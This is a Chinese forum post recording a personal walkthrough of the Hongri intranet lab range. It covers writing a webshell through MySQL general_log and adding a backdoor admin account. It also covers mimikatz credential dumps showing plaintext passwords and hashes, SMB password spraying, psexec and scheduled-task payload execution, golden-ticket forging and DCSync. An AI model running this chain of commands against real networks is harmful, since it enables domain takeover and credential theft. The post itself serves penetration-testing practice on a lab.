红日内网靶场一

麻花痒  金牌会员 | 2023-2-6 03:34:20 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题
楼主

主题 914|帖子 914|积分 2742

0x00前言

这个系列是我打完ay内网靶场以后往后衍生的一个系列，写的过程中会有很多多余的东西是我在尝试的过程，但是我也会记录下来给自己一个提醒积累经验的过程一次两的犯错多来几次就不会犯错了，仅仅作为自己打靶的随笔，如果其中有些手法您有更好的看法且愿意指点指点我这个菜鸟，我定虚心接受，前面的内网靶场笔记过于杂乱无章，且毫无规律大部分都是根据自己想到什么就做什么没有一个成熟的思路和流程往往会缺陷一些东西和走一些弯路，且对cs和msf的依赖度比较高，虽然说打内网这两个工具是强大的且无法绕开的，但是我秉承着学习为主的思想想试试尽量的避免使用集成化的工具去做几次内网的完整打法，试试使用各种小工具，小工具也易于免杀可以扩充一下自己的思维方便以后使用集成化工具的时候有其他思路进行渗透
0x01外网打点

直接外网打点的目标是 192.168.52.143
还是先nmap开启把
  1. nmap -sS -A -n -T4 -p- 192.168.52.143
复制代码

就一个80和3306
然后80是个phpstudy探针是2014版本，然后下面有个数据库连接检测，碰运气几个弱口令试一下

结果才测试了两个一个admin admin admin\admin123 root\root 结果root就进来了，然后就准备直接getshell了，不知道为什么我另一台主机上的Navicat连接的时候连接不上，可能是环境的问题然后我就试试有没有phpmyadmin这些后台管理咯，我还没开扫就直接出来了默认路径phpmyadmin
mysql写shell

首先查看一下
'%secure_file%'如果为null的话就不能直接into outfile来直接进行写shell
这里是null，那么就有第二种方式，日志写shell
general_log和general_log_file,这两个参数介绍一下

  • general_log：所有对数据库的操作都将记录在general_log_file指定的文件目录中，以原始的状态来显示
  • general_log_file：general_log_file指定一个php文件，则查询的操作将会全部写入到general_log_file指定的文件，通过访问general_log_file指定的文件来获取webshell
我们现在是root嘛
第一步：set global general_log = "ON"
第二步：show variables like 'general%';查询这个可以看到当前我们需要的两个参数的情况
第三步：这里其实一个猜的点因为phpstudy一般的目录是phpstudy/www/xx.php,我们就把日志写到一个phpstudy/www/shell.php,执行语句
  1. set global general_log_file = "C:/phpStudy/www/shell.php";
复制代码
第四步：随便执行一个一句话木马 SELECT '' 。然后就可以用webshell工具连接了

然后中间出了的Ian小差错但是最后还是拿下shell了，

我进来拿下shell是个god\administrator,这不是域控嘛，域的名字是god.org
内网横向和信息收集

我不管我拿到的是不是域控了还是先拿一个交互shell吧，这里ping我自己是能ping通的
最开始还是确定了一下域控，因为知道域名god.org
tasklist /svc
  1. System Idle Process              0 ��ȱ                                       
  2. System                           4 ��ȱ                                       
  3. smss.exe                       252 ��ȱ                                       
  4. csrss.exe                      332 ��ȱ                                       
  5. wininit.exe                    384 ��ȱ                                       
  6. csrss.exe                      396 ��ȱ                                       
  7. winlogon.exe                   444 ��ȱ                                       
  8. services.exe                   488 ��ȱ                                       
  9. lsass.exe                      500 Netlogon, SamSs                             
  10. lsm.exe                        508 ��ȱ                                       
  11. svchost.exe                    620 DcomLaunch, PlugPlay, Power                 
  12. vmacthlp.exe                   684 VMware Physical Disk Helper Service         
  13. svchost.exe                    724 RpcEptMapper, RpcSs                        
  14. svchost.exe                    820 AudioSrv, Dhcp, eventlog,                  
  15.              1032 CryptSvc, Dnscache, LanmanWorkstation,      
  16.                                    NlaSvc         
  17.                                    。。。。。。。
  18.                                     
  19. tasklist.exe     
复制代码
这种是没有杀软的，意思就是随便就可以上了，最简单的方法是上传一个C2工具的马然后就可以开始横向了，我要试试用自己的思路去实现c2相同功能的横向，
这里的话我一般就是打不出网的话就是用loadan+pstool+domaintool去做一些信息收集和横向的操作，上传以后用在文件管理里面找到了有winrar
用
  1. winrar e "ladon.zip" 给解压缩出来
复制代码
然后尝试一下能不能拿下rdp，net user  有三个账户 ，我们当前是administrator的话可以直接增加一个用户然后给它加到管理员里面去
  1. net user Guest2 admin123@ /add //增加用户
  2. net localgroup Administrators Guest2 /add //添加到管理员组
复制代码
远程桌面，尝试了多次开启都没有成功不知道是哪里出了问题准备搭载一个远控来试试，虽然3389端口开了但是没法连接上，最后我还是用我可怜的大灰狼给它上线了，我原本的计划上等开启了rdp然后去目标机上然后再上传远控的，这里一直都有个问题就是我rdp连不上去
然我开了旁边的提示启动3389要重启生效，但是重启后依旧无效只能，这里就只能这样了继续是ladon进行横向，就shell交互觉得始终有点不舒服
常规信息收集
  1. 存活IP
  2. Ladon.exe OnlineIP
  3. 192.168.72.1
  5. 192.168.72.128
  7. 192.168.72.255
  9. 192.168.72.254
  11. =============================================
  13. OnlinePC:3
  15. IP/24 Finished!
  17. End: 2023-02-05 15:17:22
  21. C_Segment: 192.168.52.
  23. =============================================
  25. 192.168.52.128
  27. 192.168.52.143
  29. 192.168.52.1
  31. 192.168.52.255
  33. 192.168.52.130
  35. 192.168.52.254
  37. 192.168.52.138
  38. 从前面的信息来看是还有一个内网的是72段
复制代码
整理一下需要探测的主机
  1. 192.168.72.128 192.168.52.143 当前主机
  2. 192.168.72.254
  3. 192.168.52.138
复制代码
收集完我觉得不太对劲，我最开始配靶场的时候就有发现靶场图给的是54，但是当我装好虚拟机发现绑定的都是52，我就改了，我直接登录了另外两台靶机全部都在52，但是有个52端的靶机还没被扫到，我整个人不对劲了,然后我干脆把所有靶机都调到了52段，直接就在52段横向就行
  1. DNS: 192.168.52.1        00-50-56-C0-00-01        zhonglin                VMware
  3.   SMB: 192.168.52.141        GOD                      ROOT-TVI862UBEH        (Win2003-3790_5.2.3790)
  5.   SMB: 192.168.52.143        GOD                      STU1                   (Win7-Professional-7601-SP1_6.1.7601)
  7.   MAC: 192.168.52.143        00-0C-29-07-78-56        www.qiyuanxuetang.net        VMware
  9.   MAC: 192.168.52.141        00-0C-29-C6-15-27        ROOT-TVI862UBEH.god.org        VMware
  11.   SMB: 192.168.52.138        GOD                      OWA                    (Win2008-R2-Datacenter-7601-SP1_6.1.7601)
  13. ICMP: 192.168.52.128        00-0C-29-6F-1D-22                                VMware
  15.   MAC: 192.168.52.138        00-0C-29-1A-36-01        owa.god.org             VMware
  17.   MAC: 192.168.52.130        00-0C-29-F9-44-35                                VMware
  18.   DNS: 192.168.52.1        00-50-56-C0-00-01        zhonglin                VMware
  20.   SMB: 192.168.52.141        GOD                      ROOT-TVI862UBEH        (Win2003-3790_5.2.3790)
  22.   SMB: 192.168.52.143        GOD                      STU1                   (Win7-Professional-7601-SP1_6.1.7601)
  24.   MAC: 192.168.52.143        00-0C-29-07-78-56        www.qiyuanxuetang.net        VMware
  26.   MAC: 192.168.52.141        00-0C-29-C6-15-27        ROOT-TVI862UBEH.god.org        VMware
  28.   SMB: 192.168.52.138        GOD                      OWA                    (Win2008-R2-Datacenter-7601-SP1_6.1.7601)
  30. ICMP: 192.168.52.128        00-0C-29-6F-1D-22                                VMware
  32.   MAC: 192.168.52.138        00-0C-29-1A-36-01        owa.god.org             VMware
  34.   MAC: 192.168.52.130        00-0C-29-F9-44-35                                VMware
复制代码
筛选了一下大概就其他主机都打开了445就是smb都在嘛还是先抓一下hash然后破解一下看能不能用smb喷洒去拿下这两个
  1. Authentication Id : 0 ; 2331600 (00000000:002393d0)
  3. Session           : Interactive from 1
  5. User Name         : Administrator
  7. Domain            : GOD
  9. Logon Server      : OWA
  11. Logon Time        : 2023/2/5 16:42:13
  13. SID               : S-1-5-21-2952760202-1353902439-2381784089-500
  15.         msv :       
  17.          [00000003] Primary
  19.          * Username : Administrator
  21.          * Domain   : GOD
  23.          * LM       : b7a7f6ace75537edb75e0c8d76954a50
  25.          * NTLM     : 42e2656ec24331269f82160ff5962387
  27.          * SHA1     : 202a4f252fa716b16cc934c114a2b4423add410d
  29.         tspkg :       
  31.          * Username : Administrator
  33.          * Domain   : GOD
  35.          * Password : QWEasd123
  37.         wdigest :       
  39.          * Username : Administrator
  41.          * Domain   : GOD
  43.          * Password : QWEasd123
  45.         kerberos :       
  47.          * Username : Administrator
  49.          * Domain   : GOD.ORG
  51.          * Password : QWEasd123
  53.         ssp :       
  55.         credman :       
  59. Authentication Id : 0 ; 997 (00000000:000003e5)
  61. Session           : Service from 0
  63. User Name         : LOCAL SERVICE
  65. Domain            : NT AUTHORITY
  67. Logon Server      : (null)
  69. Logon Time        : 2023/2/5 15:45:06
  71. SID               : S-1-5-19
  73.         msv :       
  75.         tspkg :       
  77.         wdigest :       
  79.          * Username : (null)
  81.          * Domain   : (null)
  83.          * Password : (null)
  85.         kerberos :       
  87.          * Username : (null)
  89.          * Domain   : (null)
  91.          * Password : (null)
  93.         ssp :       
  95.         credman :       
  99. Authentication Id : 0 ; 996 (00000000:000003e4)
  101. Session           : Service from 0
  103. User Name         : STU1$
  105. Domain            : GOD
  107. Logon Server      : (null)
  109. Logon Time        : 2023/2/5 15:45:06
  111. SID               : S-1-5-20
  113.         msv :       
  115.          [00000003] Primary
  117.          * Username : STU1$
  119.          * Domain   : GOD
  121.          * NTLM     : 4685be98e8f4c228adaf8a53fa8cc704
  123.          * SHA1     : d7dd11ffe2f36b03d6117f9e74d0c067f1d7ce32
  125.         tspkg :       
  127.         wdigest :       
  129.          * Username : STU1$
  131.          * Domain   : GOD
  133.          * Password : eb 7b 1b 96 91 3a 44 0b 68 4a 94 18 74 ac 15 71 97 c8 27 65 e5 3a be d1 a3 ea 26 50 58 2e dd 96 de 92 8b d5 65 b0 cd bb 12 31 32 e9 45 4c 8f a2 e6 94 7f 67 43 60 f4 b6 70 ec dc a4 34 d9 0a 35 66 61 8f e8 ee 85 01 96 45 c5 e0 ca 99 95 45 b7 c5 23 f2 58 76 9a 75 7e c4 c5 c2 03 41 5f ff f2 1d 87 c5 7f e5 1f cf 27 35 f1 a4 4c fa bf bc 30 bc b9 e8 1f 56 1d d4 bf 19 5f b1 e7 ac c2 cc 41 91 8e 25 61 a3 0b 88 11 7f 70 a3 bb 93 21 1a fb 0b ed bd 24 8f 71 6d b5 5a c6 77 d5 9b 00 86 f1 5c 89 bb da 63 18 b9 4d ad 3d da 09 3a 9a 85 0a 1a b4 7d 82 5a 6e 34 21 0b de 93 d4 b5 6f 02 f3 14 d4 02 ca aa 34 98 69 34 55 e6 c8 72 11 bf b9 b3 b6 b5 39 2a 6c 21 9e c9 68 09 74 f4 8f e8 78 9a cb 84 8a d1 a7 92 ea 91 a8 71 dc 59 cc 87 e7
  135.         kerberos :       
  137.          * Username : stu1$
  139.          * Domain   : GOD.ORG
  141.          * Password : eb 7b 1b 96 91 3a 44 0b 68 4a 94 18 74 ac 15 71 97 c8 27 65 e5 3a be d1 a3 ea 26 50 58 2e dd 96 de 92 8b d5 65 b0 cd bb 12 31 32 e9 45 4c 8f a2 e6 94 7f 67 43 60 f4 b6 70 ec dc a4 34 d9 0a 35 66 61 8f e8 ee 85 01 96 45 c5 e0 ca 99 95 45 b7 c5 23 f2 58 76 9a 75 7e c4 c5 c2 03 41 5f ff f2 1d 87 c5 7f e5 1f cf 27 35 f1 a4 4c fa bf bc 30 bc b9 e8 1f 56 1d d4 bf 19 5f b1 e7 ac c2 cc 41 91 8e 25 61 a3 0b 88 11 7f 70 a3 bb 93 21 1a fb 0b ed bd 24 8f 71 6d b5 5a c6 77 d5 9b 00 86 f1 5c 89 bb da 63 18 b9 4d ad 3d da 09 3a 9a 85 0a 1a b4 7d 82 5a 6e 34 21 0b de 93 d4 b5 6f 02 f3 14 d4 02 ca aa 34 98 69 34 55 e6 c8 72 11 bf b9 b3 b6 b5 39 2a 6c 21 9e c9 68 09 74 f4 8f e8 78 9a cb 84 8a d1 a7 92 ea 91 a8 71 dc 59 cc 87 e7
  143.         ssp :       
  145.         credman :       
  149. Authentication Id : 0 ; 50645 (00000000:0000c5d5)
  151. Session           : UndefinedLogonType from 0
  153. User Name         : (null)
  155. Domain            : (null)
  157. Logon Server      : (null)
  159. Logon Time        : 2023/2/5 15:45:06
  161. SID               :
  163.         msv :       
  165.          [00000003] Primary
  167.          * Username : STU1$
  169.          * Domain   : GOD
  171.          * NTLM     : 4685be98e8f4c228adaf8a53fa8cc704
  173.          * SHA1     : d7dd11ffe2f36b03d6117f9e74d0c067f1d7ce32
  175.         tspkg :       
  177.         wdigest :       
  179.         kerberos :       
  181.         ssp :       
  183.         credman :       
  187. Authentication Id : 0 ; 999 (00000000:000003e7)
  189. Session           : UndefinedLogonType from 0
  191. User Name         : STU1$
  193. Domain            : GOD
  195. Logon Server      : (null)
  197. Logon Time        : 2023/2/5 15:45:05
  199. SID               : S-1-5-18
  201.         msv :       
  203.         tspkg :       
  205.         wdigest :       
  207.          * Username : STU1$
  209.          * Domain   : GOD
  211.          * Password : eb 7b 1b 96 91 3a 44 0b 68 4a 94 18 74 ac 15 71 97 c8 27 65 e5 3a be d1 a3 ea 26 50 58 2e dd 96 de 92 8b d5 65 b0 cd bb 12 31 32 e9 45 4c 8f a2 e6 94 7f 67 43 60 f4 b6 70 ec dc a4 34 d9 0a 35 66 61 8f e8 ee 85 01 96 45 c5 e0 ca 99 95 45 b7 c5 23 f2 58 76 9a 75 7e c4 c5 c2 03 41 5f ff f2 1d 87 c5 7f e5 1f cf 27 35 f1 a4 4c fa bf bc 30 bc b9 e8 1f 56 1d d4 bf 19 5f b1 e7 ac c2 cc 41 91 8e 25 61 a3 0b 88 11 7f 70 a3 bb 93 21 1a fb 0b ed bd 24 8f 71 6d b5 5a c6 77 d5 9b 00 86 f1 5c 89 bb da 63 18 b9 4d ad 3d da 09 3a 9a 85 0a 1a b4 7d 82 5a 6e 34 21 0b de 93 d4 b5 6f 02 f3 14 d4 02 ca aa 34 98 69 34 55 e6 c8 72 11 bf b9 b3 b6 b5 39 2a 6c 21 9e c9 68 09 74 f4 8f e8 78 9a cb 84 8a d1 a7 92 ea 91 a8 71 dc 59 cc 87 e7
  213.         kerberos :       
  215.          * Username : stu1$
  217.          * Domain   : GOD.ORG
  219.          * Password : eb 7b 1b 96 91 3a 44 0b 68 4a 94 18 74 ac 15 71 97 c8 27 65 e5 3a be d1 a3 ea 26 50 58 2e dd 96 de 92 8b d5 65 b0 cd bb 12 31 32 e9 45 4c 8f a2 e6 94 7f 67 43 60 f4 b6 70 ec dc a4 34 d9 0a 35 66 61 8f e8 ee 85 01 96 45 c5 e0 ca 99 95 45 b7 c5 23 f2 58 76 9a 75 7e c4 c5 c2 03 41 5f ff f2 1d 87 c5 7f e5 1f cf 27 35 f1 a4 4c fa bf bc 30 bc b9 e8 1f 56 1d d4 bf 19 5f b1 e7 ac c2 cc 41 91 8e 25 61 a3 0b 88 11 7f 70 a3 bb 93 21 1a fb 0b ed bd 24 8f 71 6d b5 5a c6 77 d5 9b 00 86 f1 5c 89 bb da 63 18 b9 4d ad 3d da 09 3a 9a 85 0a 1a b4 7d 82 5a 6e 34 21 0b de 93 d4 b5 6f 02 f3 14 d4 02 ca aa 34 98 69 34 55 e6 c8 72 11 bf b9 b3 b6 b5 39 2a 6c 21 9e c9 68 09 74 f4 8f e8 78 9a cb 84 8a d1 a7 92 ea 91 a8 71 dc 59 cc 87 e7
  221.         ssp :       
  223.         credman :       
复制代码
明文密码是QWEasd123(这是我改过的密码)，然后在这个密码上进行变形重组，组合一些QWEasd456,、QWEasd789,用社工字典就行了然后开始smb横向喷洒，最后喷洒出来一台主机的密码
192.168.52.138 administrator QWEasd123 ISOK，建立IPC连接
  1. net use \\192.168.52.138\ipc$ "QWEasd123" /user:"administrator"
复制代码
使用psexec进行远程连接ladon.exe psexec 192.168.52.138

第二种打法准备上传远控然后计划任务执行执行拿下它（不是所有主机都可以用可以用这个的）
  1. c:\phpStudy>copy shell2.exe \\192.168.52.138\c$
  2. 已复制         1 个文件。
  3. c:\phpStudy>at \\192.168.52.138 17:17:00 c:/shell2.exe
  4. 新加了一项作业，其作业 ID = 2
复制代码
这个就是域控啊我打下来发现它的备注名是 owa
  1. incognito.exe list_tokens -u 查看当前有哪些凭证
  3. GOD\liukaifeng01
  5. IIS APPPOOL\DefaultAppPool
  7. NT AUTHORITY\IUSR
  9. NT AUTHORITY\LOCAL SERVICE
  11. NT AUTHORITY\NETWORK SERVICE
  13. NT AUTHORITY\SYSTEM
  15. 第一个是在域内的一个用户么看到域控账户
复制代码
我马上就会想起来我最开始的shell返回的是一个域控的账号的shelll我突然想起来，可能是这个靶场的bug把我在最开始那台win7找到了域控的的账户，然后用mikitaz去抓了一下找到了域控的hash，然后就可以直接制作黄金票据了
  1. Authentication Id : 0 ; 2331600 (00000000:002393d0)
  3. Session           : Interactive from 1
  5. User Name         : Administrator
  7. Domain            : GOD
  9. Logon Server      : OWA
  11. Logon Time        : 2023/2/5 16:42:13
  13. SID               : S-1-5-21-2952760202-1353902439-2381784089-500
  15.         msv :       
  17.          [00000003] Primary
  19.          * Username : Administrator
  21.          * Domain   : GOD
  23.          * LM       : b7a7f6ace75537edb75e0c8d76954a50
  25.          * NTLM     : 42e2656ec24331269f82160ff5962387
  27.          * SHA1     : 202a4f252fa716b16cc934c114a2b4423add410d
  29.         tspkg :       
  31.          * Username : Administrator
  33.          * Domain   : GOD
  35.          * Password : QWEasd123
  37.         wdigest :       
  39.          * Username : Administrator
  41.          * Domain   : GOD
  43.          * Password : QWEasd123
  45.         kerberos :       
  47.          * Username : Administrator
  49.          * Domain   : GOD.ORG
  51.          * Password : QWEasd123
  53.         ssp :       
  55.         credman :       
复制代码
制作票据
先清楚一下票据：klist purge
然后启动mikitaz然后
  1. privilege::Debug //提权
  2. kerberos::purge  
  3. kerberos::list
复制代码
  1. kerberos::golden /user:Administrator /domain:god.org /sid:-1-5-21-2952760202-1353902439-2381784089  /krbtgt:42e2656ec24331269f82160ff5962387 /ticket:1.kirbi
复制代码
加载一下
  1. kerberos::ptt 1.kirbi
复制代码
这个指令是必须要域控才能执行的
  1. lsadump::dcsync /domain:god.org /user:krbtgt
复制代码

其实黄金票据一拿就已经结束了但是还是想把另一台主机也拿下把，基础的端口扫描一下看一看有什么服务，发现了一个weblogic
  1. _ICMP: 192.168.52.141        00-0C-29-C6-15-27        VMware
  2. PCname: 192.168.52.141   ROOT-TVI862UBEH
  3. 192.168.52.141   21 Open -> Banner: 220 Microsoft FTP Service
  4. 192.168.52.141   139 Open -> Banner: Windows Netbios
  5. IP Finished!
  6. End: 2023-02-05 20:27:09
  7. 192.168.52.141   7001 Open -> Default is Weblogic
  8. 192.168.52.141   7002 Open -> Maybe is Weblogic
  9. 192.168.52.141   135 Open -> Default is WMI
  10. 192.168.52.141   445 Open -> Default is SMB
复制代码
存在一个weblogic的默认端口但是都没有web服务，然后测试了一下发现没有问题，我还是多445下手了，这里的密码密码是hongrisec@2019,SMB,ipc可以建立，那基本就拿下了
0x03总结和后言

这篇比较没有完整缜密的逻辑说清楚，更多的是我断断续续的想法，中途还出去了一下才打完把这个迷迷糊糊的做完了，做个总结和归纳吧，不用cs和MSF就是为了锻炼一个思维的能力吧，仅限于我个人的想法哈这个事情，先简单的重新过一遍全部过程，
打点过程的话我看别的文章还有一个打点方式是利用了一个cms但是我们没有去看了，就直接mysql打点进来就开始横向了，然后第一个web主机最开始的思路是因为mysql权限上来就是高权限然后就想着能不能启动起来rdp然后作为跳板机有其他小工具去继续打，随便发现开不了以后我就随便用了一个远控（大灰狼）然后上线以后进行了一系列的信息收集，发现了以下信息
  1. 存在两个网段，总共有三个靶机机器是需要打的
  2. 域控叫owa的主机，域的名字叫god.org
  3. 还有目标的端口信息和主机信息，主机版本都比较低是可以直接抓明文密码的
复制代码
根据第三点我就直接抓取了明文密码，这个明文密码因为我调试环境的时候被迫改了不然应该就是靶场的原密码的，然后利用smb去喷洒了一波拿下的第二台主机，拿下那台主机就owa，但是我拿下owa的时候用，常规思路准备说能不能窃取一波token然后用域控的token去反弹一个shell到我的远控上面去，incognito.exe，但是没有发现，我又想起来我拿下shell那台主机就是域控，其实我当时就想在我拿下那台主机直接试试域控指令的，但是我想着应该没那么诡异我就没关结果真是，然后我就回头把域控的NTLM造了一波就拿下了黄金票据了。我看看靶场还写着MS0867我扫了但是没出结果，还有redis的getshell也没出结果，我不知道是不是自己把环境搭崩溃了
思考：打这个靶场除了第一波打点的时候利用到了漏洞之外，后续就是一些信息收集然后就弱口令去喷洒，远控去继续横向，中间我把两层内网换一层其实差距不大无非就是一个隧道搭建和一个端口转发的问题，毕竟这个靶机本身就少。
我看了官方的wp总结一下自己的不足吧
3389没连上的原因没有考虑到防火墙的原因，后续官方的文档也没有用上其他的漏洞，我也没看到redis服务的开启，这个靶场就这样吧，就纯当熟悉一下操作，下面记录一下信息收集的操作，这些指令用个几遍理解一下就好了还是插件一把梭哈然后分析就好了，现在一个指令一个指令的看是为了以后好分析，不然面对大量信息不能快速筛选出可以利用的点是很难受的
  1. ipconfig /all
  2. 这个指令主要看域的名字和dns的名字，dns一般就是域控
  3. 这里补充一条指令
  4. net time /domain 这个是同步时间在域内一般同步的就是域控的时间
  5. arp -a
  6. 看看那些缓存
  7. net share
  8. 启动了那些共享服务
  9. net config workstation
  10. 了解本机的配置信息
  11. net group "doamin admins" /domain
  12. 查看域管理员
  13. net group "domain computers" /domain
  14. 查看所有域成员的计算机列表
  15. nslookup domainname
  16. 解析域名服务
  17. wmic useraccount get /all
  18. 获取域内用户的的详细信息，用户名 SID域名
复制代码
就说那么多吧知道自己要收集一些什么东西，域控是谁，域SID，然后就是抓hash抓密码，找通用漏洞MS17010,再就是挂代理跟打点一样的打web渗透。还有就是一些委派机制值类的后续会用到，整篇文章乱糟糟的，就当是一随手的随笔把

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有账号？立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览
返回列表

快速回复

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

麻花痒

金牌会员
这个人很懒什么都没写!

楼主热帖

标签云

存储 挺好的 服务器
微信订阅号
微信服务号
微信客服
小程序
H5
关于我们 商务合作 网站地图
©Copyright 2022-2024 杭州祥升科技有限公司 版权所有 浙ICP备20004199号
快速回复 返回顶部 返回列表